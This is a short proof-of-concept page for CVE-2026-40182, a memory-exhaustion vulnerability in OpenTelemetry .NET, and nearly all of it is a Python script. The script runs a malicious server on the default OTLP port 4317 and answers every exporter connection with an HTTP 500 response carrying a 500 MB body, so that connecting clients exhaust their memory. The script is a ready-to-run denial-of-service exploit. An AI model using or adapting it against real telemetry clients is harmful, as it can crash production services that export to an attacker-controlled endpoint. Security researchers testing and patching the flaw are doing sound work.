CVE-2026-40182 OpenTelemetry dotnet内存耗尽漏洞

# This is a simulation of a malicious backend server that triggers the vulnerability. # It listens for connections and returns an HTTP 500 response with a massive body. import socket def malicious_server(): host = '0.0.0.0' port = 4317 # Default OTLP gRPC/HTTP port often used server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.bind((host, port)) server_socket.listen(1) print(f"Malicious server listening on {port}...") while True: client_socket, addr = server_socket.accept() print(f"Connection from {addr}") # Receive request (ignore content) client_socket.recv(4096) # Construct a large malicious payload (e.g., 500MB) # This simulates a response designed to exhaust memory large_payload = b"A" * (500 * 1024 * 1024) # Send HTTP 500 Response headers response_headers = ( "HTTP/1.1 500 Internal Server Error\r\n" "Content-Type: application/x-protobuf\r\n" f"Content-Length: {len(large_payload)}\r\n" "\r\n" ) client_socket.sendall(response_headers.encode()) print("Sending headers...") # Send the large body client_socket.sendall(large_payload) print("Sent large payload. Memory exhaustion likely triggered on client.") client_socket.close() if __name__ == "__main__": malicious_server()